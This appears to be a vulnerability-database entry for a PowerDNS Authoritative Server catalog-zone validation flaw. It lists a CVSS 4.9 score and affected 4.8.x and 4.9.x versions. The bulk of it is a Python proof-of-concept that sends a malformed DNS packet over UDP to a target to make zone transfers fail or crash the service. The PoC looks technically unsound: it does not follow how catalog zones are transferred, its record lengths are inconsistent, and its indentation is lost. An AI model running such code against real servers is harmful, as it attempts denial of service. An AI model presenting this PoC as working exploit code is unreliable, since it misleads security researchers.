Insufficient Validation of Member Zone Data May Cause Catalog Zone Transfer to Fail
CVSS Details
CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
PowerDNS Authoritative Server 4.9.x < 4.9.4
PowerDNS Authoritative Server 4.8.x < 4.8.9
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
import struct
# This is a conceptual PoC for CVE-2026-42396
# It demonstrates sending a malformed Catalog Zone payload to trigger the validation failure.
# Note: Exploitation requires High Privileges (PR:H) as a trusted master.
def send_malformed_catalog_zone(target_ip, target_port):
try:
# Construct a basic DNS packet header
transaction_id = 0x1234
flags = 0x0100 # Standard query
questions = 1
answer_rrs = 0
authority_rrs = 0
additional_rrs = 1
header = struct.pack("!HHHHHH", transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs)
# Question section (asking for the Catalog Zone)
# Assuming the catalog zone is named 'catalog.example.com'
question = b'\x07catalog\x07example\x03com\x00'
question += struct.pack("!HH", 0x00FF, 0x0001) # TYPE: ANY (or specific Catalog type), CLASS: IN
# Additional section: Malformed Member Zone Data
# The vulnerability is triggered by invalid data in the member zone definition
# Here we simulate a payload that might bypass validation or cause a crash
malformed_member = b'\x05bad\x07member\x03com\x00'
malformed_member += struct.pack("!HHIH", 0x00FF, 0x0001, 0x00000001, 0x0000) # Type, Class, TTL, DataLength
# Injecting unexpected data to trigger the parsing failure
malformed_payload = b'\x00' * 10
packet = header + question + malformed_member + malformed_payload
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(packet, (target_ip, target_port))
print(f"[+] Malformed Catalog Zone packet sent to {target_ip}:{target_port}")
print("[+] Check if the zone transfer fails or service crashes.")
sock.close()
except Exception as e:
print(f"[-] Error sending packet: {e}")
if __name__ == "__main__":
# Replace with actual target IP and Port
target = "192.168.1.100"
port = 53
send_malformed_catalog_zone(target, port)